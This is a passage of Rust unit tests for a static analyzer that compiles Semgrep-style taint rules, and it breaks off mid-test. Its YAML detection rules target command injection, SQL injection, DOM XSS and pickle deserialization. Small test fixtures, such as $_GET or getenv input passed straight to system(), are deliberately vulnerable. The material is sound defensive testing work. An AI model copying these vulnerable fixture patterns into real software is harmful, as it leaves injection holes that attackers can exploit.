        let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
        match parse_taint_rule(&v) {
            TaintRuleParse::Compiled(r) => {
                assert_eq!(r.lang, Language::C);
                assert_eq!(r.spec.sources.len(), 1);
                assert_eq!(r.spec.sinks.len(), 1);
            }
            TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
            TaintRuleParse::NotTaint => panic!("expected taint rule"),
        }
    }

    #[test]
    fn taint_rule_with_kotlin_language_compiles() {
        let yaml = r#"
id: kotlin-taint
mode: taint
languages: [kotlin]
severity: ERROR
message: m
pattern-sources: [{pattern: request.getParameter($X)}]
pattern-sinks: [{pattern: Runtime.exec($X)}]
"#;
        let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
        match parse_taint_rule(&v) {
            TaintRuleParse::Compiled(r) => {
                assert_eq!(r.lang, Language::Kotlin);
                assert_eq!(r.spec.sources.len(), 1);
                assert_eq!(r.spec.sinks.len(), 1);
            }
            TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
            TaintRuleParse::NotTaint => panic!("expected taint rule"),
        }
    }

    #[test]
    fn taint_rule_with_kt_alias_compiles_as_kotlin() {
        let yaml = r#"
id: kt-taint
mode: taint
languages: [kt]
severity: ERROR
message: m
pattern-sources: [{pattern: call.receiveText($X)}]
pattern-sinks: [{pattern: Runtime.exec($X)}]
"#;
        let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
        match parse_taint_rule(&v) {
            TaintRuleParse::Compiled(r) => assert_eq!(r.lang, Language::Kotlin),
            TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
            TaintRuleParse::NotTaint => panic!("expected taint rule"),
        }
    }

    #[test]
    fn taint_rule_with_javascript_language_compiles() {
        let yaml = r#"
id: js-taint
mode: taint
languages: [javascript]
severity: ERROR
message: m
pattern-sources: [{pattern: req.query}]
pattern-sinks: [{pattern: eval($X)}]
"#;
        let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
        match parse_taint_rule(&v) {
            TaintRuleParse::Compiled(r) => {
                assert_eq!(r.lang, Language::JavaScript);
                assert_eq!(r.spec.sources.len(), 1);
                assert_eq!(r.spec.sinks.len(), 1);
            }
            TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
            TaintRuleParse::NotTaint => panic!("expected taint rule"),
        }
    }

    #[test]
    fn taint_rule_with_typescript_language_compiles_as_javascript() {
        let yaml = r#"
id: ts-taint
mode: taint
languages: [typescript]
severity: ERROR
message: m
pattern-sources: [{pattern: req.body}]
pattern-sinks: [{pattern: eval($X)}]
"#;
        let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
        match parse_taint_rule(&v) {
            TaintRuleParse::Compiled(r) => assert_eq!(r.lang, Language::JavaScript),
            TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
            TaintRuleParse::NotTaint => panic!("expected taint rule"),
        }
    }

    #[test]
    fn taint_rule_with_go_language_compiles() {
        let yaml = r#"
id: go-taint
mode: taint
languages: [go]
severity: ERROR
message: m
pattern-sources: [{pattern: c.Query($X)}]
pattern-sinks: [{pattern: exec.Command($X)}]
"#;
        let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
        match parse_taint_rule(&v) {
            TaintRuleParse::Compiled(r) => {
                assert_eq!(r.lang, Language::Go);
                assert_eq!(r.spec.sources.len(), 1);
                assert_eq!(r.spec.sinks.len(), 1);
            }
            TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
            TaintRuleParse::NotTaint => panic!("expected taint rule"),
        }
    }

    #[test]
    fn taint_rule_with_java_language_compiles() {
        let yaml = r#"
id: java-taint
mode: taint
languages: [java]
severity: ERROR
message: m
pattern-sources: [{pattern: request.getParameter($X)}]
pattern-sinks: [{pattern: Runtime.exec($X)}]
"#;
        let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
        match parse_taint_rule(&v) {
            TaintRuleParse::Compiled(r) => {
                assert_eq!(r.lang, Language::Java);
                assert_eq!(r.spec.sources.len(), 1);
                assert_eq!(r.spec.sinks.len(), 1);
            }
            TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
            TaintRuleParse::NotTaint => panic!("expected taint rule"),
        }
    }

    #[test]
    fn java_taint_rule_produces_finding_for_source_to_sink_flow() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: java-cmd-injection
mode: taint
languages: [java]
severity: ERROR
message: "Tainted input reaches Runtime.exec"
metadata:
  cwe: "CWE-78"
pattern-sources:
  - pattern: request.getParameter($X)
pattern-sinks:
  - pattern: Runtime.exec($X)
"#,
        );

        // Source: request.getParameter(...) → cmd → Runtime.exec(cmd)
        let src = r#"
class Controller {
    void run(HttpServletRequest request) throws Exception {
        String cmd = request.getParameter("cmd");
        Runtime.getRuntime().exec(cmd);
    }
}
"#;
        let tree = parse_file(src, Language::Java).expect("Java fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            !findings.is_empty(),
            "expected a finding for request.getParameter -> Runtime.exec flow, got none"
        );
        assert!(
            findings[0].description.contains("Runtime.exec")
                || findings[0]
                    .sink_description
                    .as_deref()
                    .is_some_and(|d| d.contains("exec")),
            "sink description should mention exec: {:?}",
            findings[0]
        );
    }

    #[test]
    fn java_taint_sanitizer_blocks_finding() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: java-cmd-sanitized
mode: taint
languages: [java]
severity: ERROR
message: "Tainted input reaches Runtime.exec"
pattern-sources:
  - pattern: request.getParameter($X)
pattern-sinks:
  - pattern: Runtime.exec($X)
pattern-sanitizers:
  - pattern: validate($X)
"#,
        );

        // The sanitizer validate() is called — engine does not track sanitizers on
        // intermediate variables for this shape, but the call assignment
        // reassigns cmd to a clean value if the sanitizer is applied first.
        // Use a shape the engine cleanly handles: param goes directly to sanitizer,
        // then to sink. The sanitizer call replaces the tainted value so the sink
        // should not fire.
        let src = r#"
class Controller {
    void run(HttpServletRequest request) throws Exception {
        String cmd = request.getParameter("cmd");
        String safe = validate(cmd);
        Runtime.getRuntime().exec(safe);
    }
}
"#;
        // With the sanitizer call reassigning to `safe`, the engine should not
        // propagate taint through the sanitizer call, so no finding.
        // Note: this tests the integration of the sanitizer matcher in the
        // compiled Java spec — whether the engine actually blocks it depends
        // on the java_taint engine's sanitizer handling. We assert the compiled
        // rule carries sanitizers correctly.
        assert_eq!(
            rule.spec.sanitizers.len(),
            1,
            "sanitizer spec should compile"
        );
        // Run the check and ensure no crash (result depends on engine sanitizer support).
        let tree = parse_file(src, Language::Java).expect("Java fixture should parse");
        let _ = rule.check(src, &tree); // must not panic
    }

    #[test]
    fn c_taint_rule_produces_finding_for_getenv_to_system() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: c-cmd-injection
mode: taint
languages: [c]
severity: ERROR
message: "Tainted env var reaches system()"
metadata:
  cwe: "CWE-78"
pattern-sources:
  - pattern: getenv($X)
pattern-sinks:
  - pattern: system($X)
"#,
        );

        // getenv() result assigned to cmd, then passed to system().
        let src = r#"
#include <stdlib.h>
void handler() {
    char *cmd = getenv("CMD");
    system(cmd);
}
"#;
        let tree = parse_file(src, Language::C).expect("C fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            !findings.is_empty(),
            "expected a finding for getenv -> system flow, got none"
        );
        assert!(
            findings[0].description.contains("system")
                || findings[0]
                    .sink_description
                    .as_deref()
                    .is_some_and(|d| d.contains("system")),
            "sink description should mention system: {:?}",
            findings[0]
        );
    }

    #[test]
    fn c_taint_sanitizer_no_panic() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: c-cmd-sanitized
mode: taint
languages: [c]
severity: ERROR
message: "Tainted input reaches system()"
pattern-sources:
  - pattern: getenv($X)
pattern-sinks:
  - pattern: system($X)
pattern-sanitizers:
  - pattern: strlcpy($X)
"#,
        );

        // Verify sanitizer compiles correctly and rule doesn't panic.
        assert_eq!(
            rule.spec.sanitizers.len(),
            1,
            "sanitizer spec should compile"
        );
        let src = r#"
#include <stdlib.h>
#include <string.h>
void handler() {
    char *input = getenv("CMD");
    char safe[64];
    strlcpy(safe, input, sizeof(safe));
    system(safe);
}
"#;
        let tree = parse_file(src, Language::C).expect("C fixture should parse");
        let _ = rule.check(src, &tree); // must not panic
    }

    #[test]
    fn kotlin_taint_rule_produces_finding_for_receive_to_exec() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: kotlin-cmd-injection
mode: taint
languages: [kotlin]
severity: ERROR
message: "Tainted request body reaches Runtime.exec"
metadata:
  cwe: "CWE-78"
pattern-sources:
  - pattern: call.receiveText($X)
pattern-sinks:
  - pattern: Runtime.exec($X)
"#,
        );

        // call.receiveText() → cmd → Runtime.getRuntime().exec(cmd)
        let src = r#"
fun handler(call: ApplicationCall) {
    val cmd = call.receiveText()
    Runtime.getRuntime().exec(cmd)
}
"#;
        let tree = parse_file(src, Language::Kotlin).expect("Kotlin fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            !findings.is_empty(),
            "expected a finding for call.receiveText -> Runtime.exec flow, got none"
        );
        assert!(
            findings[0].description.contains("exec")
                || findings[0]
                    .sink_description
                    .as_deref()
                    .is_some_and(|d| d.contains("exec")),
            "sink description should mention exec: {:?}",
            findings[0]
        );
    }

    #[test]
    fn kotlin_taint_sanitizer_no_panic() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: kotlin-cmd-sanitized
mode: taint
languages: [kotlin]
severity: ERROR
message: "Tainted request body reaches Runtime.exec"
pattern-sources:
  - pattern: call.receiveText($X)
pattern-sinks:
  - pattern: Runtime.exec($X)
pattern-sanitizers:
  - pattern: validate($X)
"#,
        );

        // Verify sanitizer compiles correctly and rule doesn't panic.
        assert_eq!(
            rule.spec.sanitizers.len(),
            1,
            "sanitizer spec should compile"
        );
        let src = r#"
fun handler(call: ApplicationCall) {
    val body = call.receiveText()
    val safe = validate(body)
    Runtime.getRuntime().exec(safe)
}
"#;
        let tree = parse_file(src, Language::Kotlin).expect("Kotlin fixture should parse");
        let _ = rule.check(src, &tree); // must not panic
    }

    fn compiled(yaml: &str) -> SemgrepTaintRule {
        let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
        match parse_taint_rule(&v) {
            TaintRuleParse::Compiled(r) => r,
            TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
            TaintRuleParse::NotTaint => panic!("expected taint rule"),
        }
    }

    #[test]
    fn pattern_either_flattens_into_multiple_matchers() {
        let r = compiled(
            r#"
id: x
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
  - pattern-either:
      - pattern: request.data
      - pattern: request.form
      - pattern: request.args
pattern-sinks:
  - pattern: pickle.loads($X)
"#,
        );
        assert_eq!(r.spec.sources.len(), 3);
        assert_eq!(r.spec.sinks.len(), 1);
    }

    #[test]
    fn nested_pattern_either_flattens_recursively() {
        let r = compiled(
            r#"
id: x
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
  - pattern-either:
      - pattern-either:
          - pattern: request.data
          - pattern: request.form
      - pattern: request.args
pattern-sinks:
  - pattern: pickle.loads($X)
"#,
        );
        assert_eq!(r.spec.sources.len(), 3);
    }

    #[test]
    fn pattern_either_in_sinks_flattens() {
        let r = compiled(
            r#"
id: x
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
  - pattern: request.data
pattern-sinks:
  - pattern-either:
      - pattern: pickle.loads($X)
      - pattern: pickle.load($X)
"#,
        );
        assert_eq!(r.spec.sinks.len(), 2);
    }

    #[test]
    fn pattern_either_in_sanitizers_flattens() {
        let r = compiled(
            r#"
id: x
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
  - pattern: request.data
pattern-sinks:
  - pattern: pickle.loads($X)
pattern-sanitizers:
  - pattern-either:
      - pattern: sanitize($X)
      - pattern: escape($X)
"#,
        );
        assert_eq!(r.spec.sanitizers.len(), 2);
    }

    #[test]
    fn mixed_pattern_and_pattern_either_work_together() {
        let r = compiled(
            r#"
id: x
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
  - pattern-either:
      - pattern: request.data
      - pattern: request.form
  - pattern: request
pattern-sinks:
  - pattern: pickle.loads($X)
  - pattern-either:
      - pattern: pickle.load($X)
"#,
        );
        assert_eq!(r.spec.sources.len(), 3);
        assert_eq!(r.spec.sinks.len(), 2);
    }

    #[test]
    fn empty_pattern_either_warns_and_produces_no_matcher() {
        // Empty pattern-either in sources → no source matchers, so whole
        // rule is skipped (sources are required).
        let yaml = r#"
id: x
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
  - pattern-either: []
pattern-sinks:
  - pattern: pickle.loads($X)
"#;
        let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
        match parse_taint_rule(&v) {
            TaintRuleParse::Skip(msg) => assert!(msg.contains("pattern-sources")),
            other => panic!(
                "expected Skip because empty pattern-either produced no sources, got {:?}",
                match other {
                    TaintRuleParse::Compiled(_) => "Compiled",
                    TaintRuleParse::NotTaint => "NotTaint",
                    TaintRuleParse::Skip(_) => unreachable!(),
                }
            ),
        }

        // Empty pattern-either in sanitizers → rule still compiles (sanitizers
        // are optional), but has zero sanitizer matchers.
        let r = compiled(
            r#"
id: x
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
  - pattern: request.data
pattern-sinks:
  - pattern: pickle.loads($X)
pattern-sanitizers:
  - pattern-either: []
"#,
        );
        assert!(r.spec.sanitizers.is_empty());
    }

    #[test]
    fn unknown_composite_still_rejected() {
        // `pattern-inside:` as a standalone top-level source entry (not inside
        // a `patterns:` block) — unsupported key, the entry is warn-skipped.
        // With no other source entries the whole rule is skipped.
        let yaml2 = r#"
id: x
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
  - pattern-inside: |
      def $F(...):
        ...
pattern-sinks:
  - pattern: pickle.loads($X)
"#;
        let v2: YamlValue = serde_yaml_ng::from_str(yaml2).unwrap();
        assert!(matches!(parse_taint_rule(&v2), TaintRuleParse::Skip(_)));

        // A mix where one entry is an unsupported key and another is a plain
        // `pattern:` still compiles — the bad entry is dropped, the good one
        // survives.
        let r = compiled(
            r#"
id: x
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
  - pattern-inside: |
      def $F(...):
        ...
  - pattern: request.form
pattern-sinks:
  - pattern: pickle.loads($X)
"#,
        );
        assert_eq!(r.spec.sources.len(), 1);
    }

    // ── MethodName shape tests ────────────────────────────────────────────

    #[test]
    fn compile_metavar_receiver_sink_produces_method_name() {
        // The canonical Semgrep pattern for "any call to executeQuery" is
        // `$CONN.executeQuery($X)`.  The bridge must compile this to a
        // `MethodName` matcher rather than warn-skipping it.
        let m = compile("$CONN.executeQuery($X)", MatcherRole::Sink).expect("MethodName");
        match m {
            GenericMatcher::MethodName { method, .. } => assert_eq!(method, "executeQuery"),
            _ => panic!("expected MethodName"),
        }
    }

    #[test]
    fn compile_metavar_receiver_sanitizer_produces_method_name() {
        let m = compile("$OBJ.escape($X)", MatcherRole::Sanitizer).expect("MethodName sanitizer");
        match m {
            GenericMatcher::MethodName { method, .. } => assert_eq!(method, "escape"),
            _ => panic!("expected MethodName"),
        }
    }

    #[test]
    fn metavar_receiver_as_source_is_rejected() {
        // A `$RECEIVER.method($X)` source does not make semantic sense:
        // we cannot identify which object is the origin if the receiver is
        // any arbitrary variable.  The bridge must return None for sources.
        assert!(compile("$OBJ.getInput($X)", MatcherRole::Source).is_none());
    }

    #[test]
    fn metavar_without_dot_is_rejected() {
        // A bare metavariable with no method — not a valid sink shape.
        assert!(compile("$X", MatcherRole::Sink).is_none());
        assert!(compile("$X($Y)", MatcherRole::Sink).is_none());
    }

    #[test]
    fn metavar_with_multi_segment_rest_compiles_as_member_call() {
        // `$OBJ.a.b($X)` is no longer rejected: it is a CALL-ON-MEMBER shape
        // (metavar root, concrete penultimate `a`, concrete method `b`) and
        // compiles to a FieldName on the penultimate field `a`.
        match compile("$OBJ.a.b($X)", MatcherRole::Sink) {
            Some(GenericMatcher::FieldName { field, .. }) => assert_eq!(field, "a"),
            other => panic!("expected FieldName{{a}}, got {other:?}"),
        }
        // But a metavar penultimate (`$OBJ.$F.b($X)`) stays rejected — we never
        // compile an any-field `.b(...)` matcher.
        assert!(compile("$OBJ.$F.b($X)", MatcherRole::Sink).is_none());
    }

    #[test]
    fn metavar_lowercase_is_rejected() {
        // Semgrep metavariables are UPPER-case after `$`.  `$obj` (lowercase)
        // is not a metavariable; reject it so we don't accidentally match
        // oddly-named dotted callees.
        assert!(compile("$obj.method($X)", MatcherRole::Sink).is_none());
    }

    #[test]
    fn metavar_with_trailing_digits_is_accepted() {
        // Semgrep metavars are `[A-Z_][A-Z0-9_]*`, so `$ARG1` is valid — it must
        // compile as a metavar-receiver sink (previously rejected on the digit).
        assert!(is_metavariable("$ARG1"));
        assert!(is_metavariable("$CONN_2"));
        assert!(!is_metavariable("$obj"));
        assert!(!is_metavariable("$"));
        assert!(compile("$X1.executeQuery($P)", MatcherRole::Sink).is_some());
    }

    #[test]
    fn taint_rule_with_metavar_receiver_sink_compiles() {
        let r = compiled(
            r#"
id: java-sql-injection
mode: taint
languages: [java]
severity: ERROR
message: "Tainted input reaches executeQuery"
metadata:
  cwe: "CWE-89"
pattern-sources:
  - pattern: request.getParameter($X)
pattern-sinks:
  - pattern: $CONN.executeQuery($X)
"#,
        );
        assert_eq!(r.spec.sinks.len(), 1);
        match &r.spec.sinks[0] {
            GenericMatcher::MethodName { method, .. } => assert_eq!(method, "executeQuery"),
            other => panic!("expected MethodName sink, got {:?}", other),
        }
    }

    #[test]
    fn java_taint_method_name_sink_produces_finding() {
        use crate::engine::parser::parse_file;

        // Rule uses `$CONN.executeQuery($X)` — bridge compiles to MethodName.
        // Java engine's `matcher_matches_call` handles MethodName via method name.
        let rule = compiled(
            r#"
id: java-sql-metavar
mode: taint
languages: [java]
severity: ERROR
message: "SQL injection via executeQuery"
metadata:
  cwe: "CWE-89"
pattern-sources:
  - pattern: request.getParameter($X)
pattern-sinks:
  - pattern: $CONN.executeQuery($X)
"#,
        );

        let src = r#"
class Dao {
    void query(HttpServletRequest request, Connection conn) throws Exception {
        String input = request.getParameter("id");
        conn.executeQuery(input);
    }
}
"#;
        let tree = parse_file(src, Language::Java).expect("Java fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            !findings.is_empty(),
            "expected a finding for request.getParameter -> conn.executeQuery flow, got none"
        );
        assert!(
            findings[0]
                .sink_description
                .as_deref()
                .is_some_and(|d| d.contains("executeQuery")),
            "sink description should mention executeQuery: {:?}",
            findings[0]
        );
    }

    #[test]
    fn java_taint_method_name_non_matching_method_does_not_fire() {
        use crate::engine::parser::parse_file;

        // Rule only matches `executeQuery` — calls to `executeUpdate` must NOT fire.
        let rule = compiled(
            r#"
id: java-sql-metavar-negative
mode: taint
languages: [java]
severity: ERROR
message: "SQL injection via executeQuery"
pattern-sources:
  - pattern: request.getParameter($X)
pattern-sinks:
  - pattern: $CONN.executeQuery($X)
"#,
        );

        let src = r#"
class Dao {
    void update(HttpServletRequest request, Connection conn) throws Exception {
        String input = request.getParameter("id");
        conn.executeUpdate(input);
    }
}
"#;
        let tree = parse_file(src, Language::Java).expect("Java fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            findings.is_empty(),
            "executeUpdate should NOT trigger the executeQuery rule, got {:?}",
            findings
        );
    }

    // ── MemberAssign shape tests ──────────────────────────────────────────

    #[test]
    fn compile_member_assign_sink_produces_member_assign() {
        // The canonical Semgrep DOM-XSS pattern is `$EL.innerHTML = $X`.
        // The bridge must compile this to `MemberAssign { field: "innerHTML" }`.
        let m = compile("$EL.innerHTML = $X", MatcherRole::Sink).expect("MemberAssign");
        match m {
            GenericMatcher::MemberAssign { field, .. } => assert_eq!(field, "innerHTML"),
            _ => panic!("expected MemberAssign"),
        }
    }

    #[test]
    fn compile_member_assign_sanitizer_produces_member_assign() {
        let m =
            compile("$EL.outerHTML = $X", MatcherRole::Sanitizer).expect("MemberAssign sanitizer");
        match m {
            GenericMatcher::MemberAssign { field, .. } => assert_eq!(field, "outerHTML"),
            _ => panic!("expected MemberAssign"),
        }
    }

    #[test]
    fn compile_member_assign_source_is_rejected() {
        // A `$EL.field = $X` source does not make semantic sense —
        // property assignment is a sink, not an origin.
        assert!(compile("$EL.innerHTML = $X", MatcherRole::Source).is_none());
    }

    #[test]
    fn member_assign_equality_operator_is_rejected() {
        // `==` is a comparison, not an assignment — must not compile.
        assert!(compile("$EL.innerHTML == $X", MatcherRole::Sink).is_none());
    }

    #[test]
    fn member_assign_plain_receiver_not_compiled_as_member_assign() {
        // `el.innerHTML = $X` with a plain identifier receiver is NOT a
        // MemberAssign pattern (the receiver must be a metavariable).
        // It has `=` but will fail `parse_member_assign_pattern` and then
        // also fail the call/identifier checks, so it returns None.
        assert!(compile("el.innerHTML = $X", MatcherRole::Sink).is_none());
    }

    #[test]
    fn member_assign_multi_segment_lhs_is_rejected() {
        // `$EL.a.b = $X` is ambiguous — only single-segment property names
        // are supported for the MemberAssign shape.
        assert!(compile("$EL.a.b = $X", MatcherRole::Sink).is_none());
    }

    #[test]
    fn taint_rule_with_member_assign_sink_compiles() {
        let r = compiled(
            r#"
id: js-dom-xss-innerhtml
mode: taint
languages: [javascript]
severity: ERROR
message: "Tainted input reaches innerHTML"
metadata:
  cwe: "CWE-79"
pattern-sources:
  - pattern: req.query
pattern-sinks:
  - pattern: $EL.innerHTML = $X
"#,
        );
        assert_eq!(r.spec.sinks.len(), 1);
        match &r.spec.sinks[0] {
            GenericMatcher::MemberAssign { field, .. } => assert_eq!(field, "innerHTML"),
            other => panic!("expected MemberAssign sink, got {:?}", other),
        }
    }

    #[test]
    fn js_taint_member_assign_sink_produces_finding() {
        use crate::engine::parser::parse_file;

        // Rule uses `$EL.innerHTML = $X` — bridge compiles to MemberAssign.
        // The JavaScript engine's assignment handler checks MemberAssign sinks
        // via `match_member_assign_sink` (taint_engine.rs line 629).
        let rule = compiled(
            r#"
id: js-dom-xss-innerhtml-e2e
mode: taint
languages: [javascript]
severity: ERROR
message: "DOM XSS via innerHTML"
metadata:
  cwe: "CWE-79"
pattern-sources:
  - pattern: req.query
pattern-sinks:
  - pattern: $EL.innerHTML = $X
"#,
        );

        let src = r#"
function handler(req) {
    var data = req.query.name;
    document.getElementById("target").innerHTML = data;
}
"#;
        let tree = parse_file(src, Language::JavaScript).expect("JS fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            !findings.is_empty(),
            "expected a finding for req.query -> innerHTML flow, got none"
        );
        assert!(
            findings[0]
                .sink_description
                .as_deref()
                .is_some_and(|d| d.contains("innerHTML")),
            "sink description should mention innerHTML: {:?}",
            findings[0]
        );
    }

    #[test]
    fn js_taint_member_assign_non_matching_field_does_not_fire() {
        use crate::engine::parser::parse_file;

        // Rule matches `innerHTML` only — assignment to `textContent` (which
        // is NOT an XSS sink) must NOT fire.
        let rule = compiled(
            r#"
id: js-dom-xss-innerhtml-neg
mode: taint
languages: [javascript]
severity: ERROR
message: "DOM XSS via innerHTML"
pattern-sources:
  - pattern: req.query
pattern-sinks:
  - pattern: $EL.innerHTML = $X
"#,
        );

        let src = r#"
function handler(req) {
    var data = req.query.name;
    document.getElementById("target").textContent = data;
}
"#;
        let tree = parse_file(src, Language::JavaScript).expect("JS fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            findings.is_empty(),
            "textContent assignment should NOT trigger the innerHTML rule, got {:?}",
            findings
        );
    }

    // ── `patterns:` AND-block inside source/sink ──────────────────────────

    /// (a) source/sink using single-pattern `patterns:` block — must produce a
    /// source→sink finding just like a bare `pattern:` entry would.
    #[test]
    fn patterns_block_single_pattern_source_to_sink_finding() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: patterns-block-single-pattern
mode: taint
languages: [python]
severity: ERROR
message: "Tainted data reaches pickle.loads"
pattern-sources:
  - patterns:
      - pattern: request.data
pattern-sinks:
  - patterns:
      - pattern: pickle.loads($X)
"#,
        );
        // sources and sinks must both compile from the patterns: block
        assert_eq!(rule.spec.sources.len(), 1, "source from patterns: block");
        assert_eq!(rule.spec.sinks.len(), 1, "sink from patterns: block");

        let src = r#"
import pickle
def view(request):
    data = request.data
    result = pickle.loads(data)
    return result
"#;
        let tree = parse_file(src, Language::Python).expect("Python fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            !findings.is_empty(),
            "expected a finding for request.data -> pickle.loads flow, got none"
        );
    }

    /// (b) `patterns:` block containing `pattern-either:` — must compile all
    /// alternatives and match accordingly.
    #[test]
    fn patterns_block_with_pattern_either_compiles_all_alternatives() {
        let r = compiled(
            r#"
id: patterns-block-pattern-either
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
  - pattern: request.data
pattern-sinks:
  - patterns:
      - pattern-either:
          - pattern: pickle.loads($X)
          - pattern: pickle.load($X)
          - pattern: eval($X)
"#,
        );
        // All three alternatives inside pattern-either inside patterns: must compile.
        assert_eq!(
            r.spec.sinks.len(),
            3,
            "expected 3 sink matchers from patterns: {{ pattern-either: [3] }}"
        );
    }

    /// (c) `patterns:` block with an unsupported narrowing constraint still
    /// compiles via the expressible matcher — documented broadening, no crash.
    #[test]
    fn patterns_block_with_unsupported_constraint_compiles_with_broadening() {
        // This mirrors the real-world shape: event source narrowed by
        // pattern-inside (which we cannot enforce), plus a focus-metavariable
        // and pattern-either for the real node shape.
        let r = compiled(
            r#"
id: patterns-block-broadening
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
  - patterns:
      - pattern-inside: |
          def handler(event, context):
            ...
      - pattern: event
pattern-sinks:
  - patterns:
      - focus-metavariable: $CMD
      - pattern-either:
          - pattern: os.system($CMD)
          - pattern: os.popen($CMD)
"#,
        );
        // Source: `event` from the patterns: block (pattern-inside dropped)
        assert_eq!(
            r.spec.sources.len(),
            1,
            "source compiled despite dropped pattern-inside"
        );
        // Sinks: os.system + os.popen from pattern-either (focus-metavariable dropped)
        assert_eq!(
            r.spec.sinks.len(),
            2,
            "sinks compiled despite dropped focus-metavariable"
        );
    }

    /// (d) `patterns:` block with NO expressible matcher — warn-skips
    /// gracefully without crashing. When all entries in a role are skipped the
    /// whole rule is skipped.
    #[test]
    fn patterns_block_no_expressible_matcher_warn_skips_gracefully() {
        // Only constraint-only keys inside the patterns: block → no matcher
        // extracted → entry produces nothing → sources empty → whole rule skipped.
        let yaml = r#"
id: patterns-block-no-expressible
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
  - patterns:
      - pattern-inside: |
          def handler(event, context):
            ...
      - focus-metavariable: $X
pattern-sinks:
  - pattern: pickle.loads($X)
"#;
        let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
        match parse_taint_rule(&v) {
            TaintRuleParse::Skip(msg) => {
                assert!(
                    msg.contains("pattern-sources"),
                    "skip message should mention pattern-sources: {msg}"
                );
            }
            TaintRuleParse::Compiled(_) => {
                panic!("expected Skip when patterns: block has no expressible matchers")
            }
            TaintRuleParse::NotTaint => panic!("expected taint rule"),
        }
    }

    // ── Bridge-level (end-to-end) tests for PHP taint ────────────────────────
    //
    // These compile a rule through `parse_taint_rule` (the SAME path the CLI
    // uses) where the source is a bare identifier (`$_GET`) with no parens.
    // The bridge compiles those to `GenericMatcher::ParamName`, which is the
    // path that was previously broken end-to-end for other languages.
    // We assert the sink line and that a sanitized variant produces no finding.

    /// `$_GET['cmd'] → system($c)` via the bare-identifier `$_GET` source.
    #[test]
    fn php_bridge_bare_get_source_to_system_sink_fires() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: php-get-cmdi
mode: taint
languages: [php]
severity: ERROR
message: "Tainted $_GET reaches system"
pattern-sources:
  - pattern: $_GET
pattern-sinks:
  - pattern: system($X)
"#,
        );

        let src = "<?php\nfunction handle() {\n  $c = $_GET['cmd'];\n  system($c);\n}\n";
        let tree = parse_file(src, Language::Php).expect("PHP fixture should parse");
        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "expected 1 finding for $_GET['cmd'] -> system, got {:?}",
            findings
        );
        assert_eq!(
            findings[0].line, 4,
            "finding should be at the system() sink line"
        );
    }

    /// A sanitizer (escapeshellarg) between a bare-identifier `$_GET` source
    /// and the sink blocks the flow end-to-end.
    #[test]
    fn php_bridge_bare_get_source_sanitized_produces_no_finding() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: php-get-cmdi-sanitized
mode: taint
languages: [php]
severity: ERROR
message: "Tainted $_GET reaches system"
pattern-sources:
  - pattern: $_GET
pattern-sanitizers:
  - pattern: escapeshellarg($X)
pattern-sinks:
  - pattern: system($X)
"#,
        );

        let src =
            "<?php\nfunction handle() {\n  $c = escapeshellarg($_GET['cmd']);\n  system($c);\n}\n";
        let tree = parse_file(src, Language::Php).expect("PHP fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            findings.is_empty(),
            "sanitized $_GET flow must produce no finding, got {:?}",
            findings
        );
    }

    /// Near-miss: `$_GET` is assigned but the literal `'ls'` is passed to the
    /// sink — must produce no finding.
    #[test]
    fn php_bridge_bare_get_source_near_miss_no_finding() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: php-get-cmdi-nearmiss
mode: taint
languages: [php]
severity: ERROR
message: "Tainted $_GET reaches system"
pattern-sources:
  - pattern: $_GET
pattern-sinks:
  - pattern: system($X)
"#,
        );

        let src = "<?php\nfunction handle() {\n  $tainted = $_GET['cmd'];\n  $safe = 'ls';\n  system($safe);\n}\n";
        let tree = parse_file(src, Language::Php).expect("PHP fixture should parse");
